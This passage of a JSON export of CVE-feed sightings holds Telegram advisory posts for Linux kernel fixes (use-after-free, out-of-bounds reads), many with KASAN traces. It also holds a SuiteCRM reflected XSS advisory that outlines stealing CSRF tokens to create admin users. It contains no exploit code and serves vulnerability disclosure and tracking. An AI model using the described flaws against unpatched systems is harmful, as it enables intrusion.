 \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T18:53:54.000000Z"}, {"uuid": "29c20331-b687-48d7-950f-0242eed4130f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50092", "type": "seen", "source": "https://t.me/cvedetector/9904", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50092 - Linux Netconsole Wrong Warning\", \n  \"Content\": \"CVE ID : CVE-2024-50092 \nPublished : Nov. 5, 2024, 5:15 p.m. | 32\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: netconsole: fix wrong warning  \n  \nA warning is triggered when there is insufficient space in the buffer  \nfor userdata. However, this is not an issue since userdata will be sent  \nin the next iteration.  \n  \nCurrent warning message:  \n  \n    ------------[ cut here ]------------  \n     WARNING: CPU: 13 PID: 3013042 at drivers/net/netconsole.c:1122 write_ext_msg+0x3b6/0x3d0  \n      ? write_ext_msg+0x3b6/0x3d0  \n      console_flush_all+0x1e9/0x330  \n  \nThe code incorrectly issues a warning when this_chunk is zero, which is  \na valid scenario. The warning should only be triggered when this_chunk  \nis negative. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T18:53:53.000000Z"}, {"uuid": "7a8b9946-2c24-45cb-a3fe-14fa821db17d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50091", "type": "seen", "source": "https://t.me/cvedetector/9903", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50091 - Linux Kernel dm vdo Double Free\", \n  \"Content\": \"CVE ID : CVE-2024-50091 \nPublished : Nov. 5, 2024, 5:15 p.m. | 32\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndm vdo: don't refer to dedupe_context after releasing it  \n  \nClear the dedupe_context pointer in a data_vio whenever ownership of  \nthe context is lost, so that vdo can't examine it accidentally. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T18:53:52.000000Z"}, {"uuid": "6c98fb58-3811-4d58-b6f8-8b5e62abf449", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50335", "type": "seen", "source": "https://t.me/cvedetector/9935", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50335 - SuiteCRM Reflected Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50335 \nPublished : Nov. 5, 2024, 7:15 p.m. | 42\u00a0minutes ago \nDescription : SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. The \"Publish Key\" field in SuiteCRM's Edit Profile page is vulnerable to Reflected Cross-Site Scripting (XSS), allowing an attacker to inject malicious JavaScript code. This can be exploited to steal CSRF tokens and perform unauthorized actions, such as creating new administrative users without proper authentication. The vulnerability arises due to insufficient input validation and sanitization of the Publish Key field within the SuiteCRM application. When an attacker injects a malicious script, it gets executed within the context of an authenticated user's session. The injected script (o.js) then leverages the captured CSRF token to forge requests that create new administrative users, effectively compromising the integrity and security of the CRM instance. This issue has been addressed in versions 7.14.6 and 8.7.1. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 4.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T21:25:35.000000Z"}, {"uuid": "b3209cad-9c41-45c0-b333-e2a05c263c12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50127", "type": "seen", "source": "https://t.me/cvedetector/9932", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50127 - Netgear Linux Kernel Use-After-Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50127 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: sched: fix use-after-free in taprio_change()  \n  \nIn 'taprio_change()', 'admin' pointer may become dangling due to sched  \nswitch / removal caused by 'advance_sched()', and critical section  \nprotected by 'q->current_entry_lock' is too small to prevent from such  \na scenario (which causes use-after-free detected by KASAN). Fix this  \nby prefer 'rcu_replace_pointer()' over 'rcu_assign_pointer()' to update  \n'admin' immediately before an attempt to schedule freeing. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:45:12.000000Z"}, {"uuid": "85bc6fc9-0555-433d-b8e5-41bc0bb0f2ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50130", "type": "seen", "source": "https://t.me/cvedetector/9931", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50130 - Linux Netfilter BPF NetNamespace Reference Leak Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50130 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnetfilter: bpf: must hold reference on net namespace  \n  \nBUG: KASAN: slab-use-after-free in __nf_unregister_net_hook+0x640/0x6b0  \nRead of size 8 at addr ffff8880106fe400 by task repro/72=  \nbpf_nf_link_release+0xda/0x1e0  \nbpf_link_free+0x139/0x2d0  \nbpf_link_release+0x68/0x80  \n__fput+0x414/0xb60  \n  \nEric says:  \n It seems that bpf was able to defer the __nf_unregister_net_hook()  \n after exit()/close() time.  \n Perhaps a netns reference is missing, because the netns has been  \n dismantled/freed already.  \n bpf_nf_link_attach() does :  \n link->net = net;  \n But I do not see a reference being taken on net.  \n  \nAdd such a reference and release it after hook unreg.  \nNote that I was unable to get syzbot reproducer to work, so I  \ndo not know if this resolves this splat. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:36.000000Z"}, {"uuid": "c75b21eb-9c33-4bfc-992d-b8331f90829e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50129", "type": "seen", "source": "https://t.me/cvedetector/9923", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50129 - Linux Kernel Array Indexing Out-of-Bounds Vulnerability in PSE-PD Driver\", \n  \"Content\": \"CVE ID : CVE-2024-50129 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: pse-pd: Fix out of bound for loop  \n  \nAdjust the loop limit to prevent out-of-bounds access when iterating over  \nPI structures. The loop should not reach the index pcdev->nr_lines since  \nwe allocate exactly pcdev->nr_lines number of PI structures. This fix  \nensures proper bounds are maintained during iterations. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:27.000000Z"}, {"uuid": "a4a48adc-cefc-4436-91b8-795b7155e46a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50128", "type": "seen", "source": "https://t.me/cvedetector/9921", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50128 - Qualcomm Wwan Global Out-of-Bounds Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50128 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: wwan: fix global oob in wwan_rtnl_policy  \n  \nThe variable wwan_rtnl_link_ops assign a *bigger* maxtype which leads to  \na global out-of-bounds read when parsing the netlink attributes. Exactly  \nsame bug cause as the oob fixed in commit b33fb5b801c6 (\"net: qualcomm:  \nrmnet: fix global oob in rmnet_policy\").  \n  \n==================================================================  \nBUG: KASAN: global-out-of-bounds in validate_nla lib/nlattr.c:388 [inline]  \nBUG: KASAN: global-out-of-bounds in __nla_validate_parse+0x19d7/0x29a0 lib/nlattr.c:603  \nRead of size 1 at addr ffffffff8b09cb60 by task syz.1.66276/323862  \n  \nCPU: 0 PID: 323862 Comm: syz.1.66276 Not tainted 6.1.70 #1  \nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014  \nCall Trace:  \n   \n __dump_stack lib/dump_stack.c:88 [inline]  \n dump_stack_lvl+0x177/0x231 lib/dump_stack.c:106  \n print_address_description mm/kasan/report.c:284 [inline]  \n print_report+0x14f/0x750 mm/kasan/report.c:395  \n kasan_report+0x139/0x170 mm/kasan/report.c:495  \n validate_nla lib/nlattr.c:388 [inline]  \n __nla_validate_parse+0x19d7/0x29a0 lib/nlattr.c:603  \n __nla_parse+0x3c/0x50 lib/nlattr.c:700  \n nla_parse_nested_deprecated include/net/netlink.h:1269 [inline]  \n __rtnl_newlink net/core/rtnetlink.c:3514 [inline]  \n rtnl_newlink+0x7bc/0x1fd0 net/core/rtnetlink.c:3623  \n rtnetlink_rcv_msg+0x794/0xef0 net/core/rtnetlink.c:6122  \n netlink_rcv_skb+0x1de/0x420 net/netlink/af_netlink.c:2508  \n netlink_unicast_kernel net/netlink/af_netlink.c:1326 [inline]  \n netlink_unicast+0x74b/0x8c0 net/netlink/af_netlink.c:1352  \n netlink_sendmsg+0x882/0xb90 net/netlink/af_netlink.c:1874  \n sock_sendmsg_nosec net/socket.c:716 [inline]  \n __sock_sendmsg net/socket.c:728 [inline]  \n ____sys_sendmsg+0x5cc/0x8f0 net/socket.c:2499  \n ___sys_sendmsg+0x21c/0x290 net/socket.c:2553  \n __sys_sendmsg net/socket.c:2582 [inline]  \n __do_sys_sendmsg net/socket.c:2591 [inline]  \n __se_sys_sendmsg+0x19e/0x270 net/socket.c:2589  \n do_syscall_x64 arch/x86/entry/common.c:51 [inline]  \n do_syscall_64+0x45/0x90 arch/x86/entry/common.c:81  \n entry_SYSCALL_64_after_hwframe+0x63/0xcd  \nRIP: 0033:0x7f67b19a24ad  \nRSP: 002b:00007f67b17febb8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e  \nRAX: ffffffffffffffda RBX: 00007f67b1b45f80 RCX: 00007f67b19a24ad  \nRDX: 0000000000000000 RSI: 0000000020005e40 RDI: 0000000000000004  \nRBP: 00007f67b1a1e01d R08: 0000000000000000 R09: 0000000000000000  \nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000  \nR13: 00007ffd2513764f R14: 00007ffd251376e0 R15: 00007f67b17fed40  \n   \n  \nThe buggy address belongs to the variable:  \n wwan_rtnl_policy+0x20/0x40  \n  \nThe buggy address belongs to the physical page:  \npage:ffffea00002c2700 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xb09c  \nflags: 0xfff00000001000(reserved|node=0|zone=1|lastcpupid=0x7ff)  \nraw: 00fff00000001000 ffffea00002c2708 ffffea00002c2708 0000000000000000  \nraw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000  \npage dumped because: kasan: bad access detected  \npage_owner info is not present (never set?)  \n  \nMemory state around the buggy address:  \n ffffffff8b09ca00: 05 f9 f9 f9 05 f9 f9 f9 00 01 f9 f9 00 01 f9 f9  \n ffffffff8b09ca80: 00 00 00 05 f9 f9 f9 f9 00 00 03 f9 f9 f9 f9 f9  \n>ffffffff8b09cb00: 00 00 00 00 05 f9 f9 f9 00 00 00 00 f9 f9 f9 f9  \n                                                       ^  \n ffffffff8b09cb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  \n==================================================================  \n  \nAccording to the comment of `nla_parse_nested_deprecated`, use correct size  \n`IFLA_WWAN_MAX` here to fix this issue. \nSeverity: 0.0 | NA \nVisit the link for more de[...]", "creation_timestamp": "2024-11-05T19:44:22.000000Z"}, {"uuid": "549f6348-5bd9-4dbd-94b4-19c09c32162f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50121", "type": "seen", "source": "https://t.me/cvedetector/9930", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50121 - Linux NFSd Use-After-Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50121 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnfsd: cancel nfsd_shrinker_work using sync mode in nfs4_state_shutdown_net  \n  \nIn the normal case, when we excute `echo 0 > /proc/fs/nfsd/threads`, the  \nfunction `nfs4_state_destroy_net` in `nfs4_state_shutdown_net` will  \nrelease all resources related to the hashed `nfs4_client`. If the  \n`nfsd_client_shrinker` is running concurrently, the `expire_client`  \nfunction will first unhash this client and then destroy it. This can  \nlead to the following warning. Additionally, numerous use-after-free  \nerrors may occur as well.  \n  \nnfsd_client_shrinker         echo 0 > /proc/fs/nfsd/threads  \n  \nexpire_client                nfsd_shutdown_net  \n  unhash_client                ...  \n                               nfs4_state_shutdown_net  \n                                 /* won't wait shrinker exit */  \n  /*                             cancel_work(&nn->nfsd_shrinker_work)  \n   * nfsd_file for this          /* won't destroy unhashed client1 */  \n   * client1 still alive         nfs4_state_destroy_net  \n   */  \n  \n                               nfsd_file_cache_shutdown  \n                                 /* trigger warning */  \n                                 kmem_cache_destroy(nfsd_file_slab)  \n                                 kmem_cache_destroy(nfsd_file_mark_slab)  \n  /* release nfsd_file and mark */  \n  __destroy_client  \n  \n====================================================================  \nBUG nfsd_file (Not tainted): Objects remaining in nfsd_file on  \n__kmem_cache_shutdown()  \n--------------------------------------------------------------------  \nCPU: 4 UID: 0 PID: 764 Comm: sh Not tainted 6.12.0-rc3+ #1  \n  \n dump_stack_lvl+0x53/0x70  \n slab_err+0xb0/0xf0  \n __kmem_cache_shutdown+0x15c/0x310  \n kmem_cache_destroy+0x66/0x160  \n nfsd_file_cache_shutdown+0xac/0x210 [nfsd]  \n nfsd_destroy_serv+0x251/0x2a0 [nfsd]  \n nfsd_svc+0x125/0x1e0 [nfsd]  \n write_threads+0x16a/0x2a0 [nfsd]  \n nfsctl_transaction_write+0x74/0xa0 [nfsd]  \n vfs_write+0x1a5/0x6d0  \n ksys_write+0xc1/0x160  \n do_syscall_64+0x5f/0x170  \n entry_SYSCALL_64_after_hwframe+0x76/0x7e  \n  \n====================================================================  \nBUG nfsd_file_mark (Tainted: G    B   W         ): Objects remaining  \nnfsd_file_mark on __kmem_cache_shutdown()  \n--------------------------------------------------------------------  \n  \n dump_stack_lvl+0x53/0x70  \n slab_err+0xb0/0xf0  \n __kmem_cache_shutdown+0x15c/0x310  \n kmem_cache_destroy+0x66/0x160  \n nfsd_file_cache_shutdown+0xc8/0x210 [nfsd]  \n nfsd_destroy_serv+0x251/0x2a0 [nfsd]  \n nfsd_svc+0x125/0x1e0 [nfsd]  \n write_threads+0x16a/0x2a0 [nfsd]  \n nfsctl_transaction_write+0x74/0xa0 [nfsd]  \n vfs_write+0x1a5/0x6d0  \n ksys_write+0xc1/0x160  \n do_syscall_64+0x5f/0x170  \n entry_SYSCALL_64_after_hwframe+0x76/0x7e  \n  \nTo resolve this issue, cancel `nfsd_shrinker_work` using synchronous  \nmode in nfs4_state_shutdown_net. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:35.000000Z"}, {"uuid": "c0b98874-bdcd-4d86-905a-a2f7d2218bf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50131", "type": "seen", "source": "https://t.me/cvedetector/9929", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50131 - \"Linux Kernel Tracing Buffer Overflow Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50131 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ntracing: Consider the NULL character when validating the event length  \n  \nstrlen() returns a string length excluding the null byte. If the string  \nlength equals to the maximum buffer length, the buffer will have no  \nspace for the NULL terminating character.  \n  \nThis commit checks this condition and returns failure for it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:35.000000Z"}, {"uuid": "7f0e586d-201d-4d9d-9c57-7837bc5aa279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50123", "type": "seen", "source": "https://t.me/cvedetector/9928", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50123 - Linux Kernel BPF Sockmap Out-of-Bounds Read (Information Disclosure)\", \n  \"Content\": \"CVE ID : CVE-2024-50123 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: Add the missing BPF_LINK_TYPE invocation for sockmap  \n  \nThere is an out-of-bounds read in bpf_link_show_fdinfo() for the sockmap  \nlink fd. Fix it by adding the missing BPF_LINK_TYPE invocation for  \nsockmap link  \n  \nAlso add comments for bpf_link_type to prevent missing updates in the  \nfuture. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:34.000000Z"}, {"uuid": "496cebd5-020c-4a62-ad92-1f4218b82491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50124", "type": "seen", "source": "https://t.me/cvedetector/9927", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50124 - Linux Bluetooth ISO Use-After-Free\", \n  \"Content\": \"CVE ID : CVE-2024-50124 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nBluetooth: ISO: Fix UAF on iso_sock_timeout  \n  \nconn->sk maybe have been unlinked/freed while waiting for iso_conn_lock  \nso this checks if the conn->sk is still valid by checking if it part of  \niso_sk_list. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:33.000000Z"}, {"uuid": "fb86c93b-b864-4ae0-9a13-c579339f53c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50132", "type": "seen", "source": "https://t.me/cvedetector/9926", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50132 - Linux Kernel Tracing Probe Array Overflow Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50132 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ntracing/probes: Fix MAX_TRACE_ARGS limit handling  \n  \nWhen creating a trace_probe we would set nr_args prior to truncating the  \narguments to MAX_TRACE_ARGS. However, we would only initialize arguments  \nup to the limit.  \n  \nThis caused invalid memory access when attempting to set up probes with  \nmore than 128 fetchargs.  \n  \n  BUG: kernel NULL pointer dereference, address: 0000000000000020  \n  #PF: supervisor read access in kernel mode  \n  #PF: error_code(0x0000) - not-present page  \n  PGD 0 P4D 0  \n  Oops: Oops: 0000 [#1] PREEMPT SMP PTI  \n  CPU: 0 UID: 0 PID: 1769 Comm: cat Not tainted 6.11.0-rc7+ #8  \n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-1.fc39 04/01/2014  \n  RIP: 0010:__set_print_fmt+0x134/0x330  \n  \nResolve the issue by applying the MAX_TRACE_ARGS limit earlier. Return  \nan error when there are too many arguments instead of silently  \ntruncating. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:29.000000Z"}, {"uuid": "3524a530-e8dc-483e-b128-b6df80925a2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50122", "type": "seen", "source": "https://t.me/cvedetector/9925", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50122 - PCIe Linux Kernel Sysfs Use-After-Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50122 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nPCI: Hold rescan lock while adding devices during host probe  \n  \nSince adding the PCI power control code, we may end up with a race between  \nthe pwrctl platform device rescanning the bus and host controller probe  \nfunctions. The latter need to take the rescan lock when adding devices or  \nwe may end up in an undefined state having two incompletely added devices  \nand hit the following crash when trying to remove the device over sysfs:  \n  \n  Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000  \n  Internal error: Oops: 0000000096000004 [#1] SMP  \n  Call trace:  \n    __pi_strlen+0x14/0x150  \n    kernfs_find_ns+0x80/0x13c  \n    kernfs_remove_by_name_ns+0x54/0xf0  \n    sysfs_remove_bin_file+0x24/0x34  \n    pci_remove_resource_files+0x3c/0x84  \n    pci_remove_sysfs_dev_files+0x28/0x38  \n    pci_stop_bus_device+0x8c/0xd8  \n    pci_stop_bus_device+0x40/0xd8  \n    pci_stop_and_remove_bus_device_locked+0x28/0x48  \n    remove_store+0x70/0xb0  \n    dev_attr_store+0x20/0x38  \n    sysfs_kf_write+0x58/0x78  \n    kernfs_fop_write_iter+0xe8/0x184  \n    vfs_write+0x2dc/0x308  \n    ksys_write+0x7c/0xec \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:28.000000Z"}, {"uuid": "825d0ea2-fe32-4bbb-a691-558c9e17ffab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50126", "type": "seen", "source": "https://t.me/cvedetector/9920", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50126 - Linux Kernel net sched RCU use-after-free vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50126 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: sched: use RCU read-side critical section in taprio_dump()  \n  \nFix possible use-after-free in 'taprio_dump()' by adding RCU  \nread-side critical section there. Never seen on x86 but  \nfound on a KASAN-enabled arm64 system when investigating  \n:  \n  \n[T15862] BUG: KASAN: slab-use-after-free in taprio_dump+0xa0c/0xbb0  \n[T15862] Read of size 4 at addr ffff0000d4bb88f8 by task repro/15862  \n[T15862]  \n[T15862] CPU: 0 UID: 0 PID: 15862 Comm: repro Not tainted 6.11.0-rc1-00293-gdefaf1a2113a-dirty #2  \n[T15862] Hardware name: QEMU QEMU Virtual Machine, BIOS edk2-20240524-5.fc40 05/24/2024  \n[T15862] Call trace:  \n[T15862]  dump_backtrace+0x20c/0x220  \n[T15862]  show_stack+0x2c/0x40  \n[T15862]  dump_stack_lvl+0xf8/0x174  \n[T15862]  print_report+0x170/0x4d8  \n[T15862]  kasan_report+0xb8/0x1d4  \n[T15862]  __asan_report_load4_noabort+0x20/0x2c  \n[T15862]  taprio_dump+0xa0c/0xbb0  \n[T15862]  tc_fill_qdisc+0x540/0x1020  \n[T15862]  qdisc_notify.isra.0+0x330/0x3a0  \n[T15862]  tc_modify_qdisc+0x7b8/0x1838  \n[T15862]  rtnetlink_rcv_msg+0x3c8/0xc20  \n[T15862]  netlink_rcv_skb+0x1f8/0x3d4  \n[T15862]  rtnetlink_rcv+0x28/0x40  \n[T15862]  netlink_unicast+0x51c/0x790  \n[T15862]  netlink_sendmsg+0x79c/0xc20  \n[T15862]  __sock_sendmsg+0xe0/0x1a0  \n[T15862]  ____sys_sendmsg+0x6c0/0x840  \n[T15862]  ___sys_sendmsg+0x1ac/0x1f0  \n[T15862]  __sys_sendmsg+0x110/0x1d0  \n[T15862]  __arm64_sys_sendmsg+0x74/0xb0  \n[T15862]  invoke_syscall+0x88/0x2e0  \n[T15862]  el0_svc_common.constprop.0+0xe4/0x2a0  \n[T15862]  do_el0_svc+0x44/0x60  \n[T15862]  el0_svc+0x50/0x184  \n[T15862]  el0t_64_sync_handler+0x120/0x12c  \n[T15862]  el0t_64_sync+0x190/0x194  \n[T15862]  \n[T15862] Allocated by task 15857:  \n[T15862]  kasan_save_stack+0x3c/0x70  \n[T15862]  kasan_save_track+0x20/0x3c  \n[T15862]  kasan_save_alloc_info+0x40/0x60  \n[T15862]  __kasan_kmalloc+0xd4/0xe0  \n[T15862]  __kmalloc_cache_noprof+0x194/0x334  \n[T15862]  taprio_change+0x45c/0x2fe0  \n[T15862]  tc_modify_qdisc+0x6a8/0x1838  \n[T15862]  rtnetlink_rcv_msg+0x3c8/0xc20  \n[T15862]  netlink_rcv_skb+0x1f8/0x3d4  \n[T15862]  rtnetlink_rcv+0x28/0x40  \n[T15862]  netlink_unicast+0x51c/0x790  \n[T15862]  netlink_sendmsg+0x79c/0xc20  \n[T15862]  __sock_sendmsg+0xe0/0x1a0  \n[T15862]  ____sys_sendmsg+0x6c0/0x840  \n[T15862]  ___sys_sendmsg+0x1ac/0x1f0  \n[T15862]  __sys_sendmsg+0x110/0x1d0  \n[T15862]  __arm64_sys_sendmsg+0x74/0xb0  \n[T15862]  invoke_syscall+0x88/0x2e0  \n[T15862]  el0_svc_common.constprop.0+0xe4/0x2a0  \n[T15862]  do_el0_svc+0x44/0x60  \n[T15862]  el0_svc+0x50/0x184  \n[T15862]  el0t_64_sync_handler+0x120/0x12c  \n[T15862]  el0t_64_sync+0x190/0x194  \n[T15862]  \n[T15862] Freed by task 6192:  \n[T15862]  kasan_save_stack+0x3c/0x70  \n[T15862]  kasan_save_track+0x20/0x3c  \n[T15862]  kasan_save_free_info+0x4c/0x80  \n[T15862]  poison_slab_object+0x110/0x160  \n[T15862]  __kasan_slab_free+0x3c/0x74  \n[T15862]  kfree+0x134/0x3c0  \n[T15862]  taprio_free_sched_cb+0x18c/0x220  \n[T15862]  rcu_core+0x920/0x1b7c  \n[T15862]  rcu_core_si+0x10/0x1c  \n[T15862]  handle_softirqs+0x2e8/0xd64  \n[T15862]  __do_softirq+0x14/0x20 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:21.000000Z"}, {"uuid": "8b4cbd2f-c806-4c18-9ddd-0aed378fc1b4", 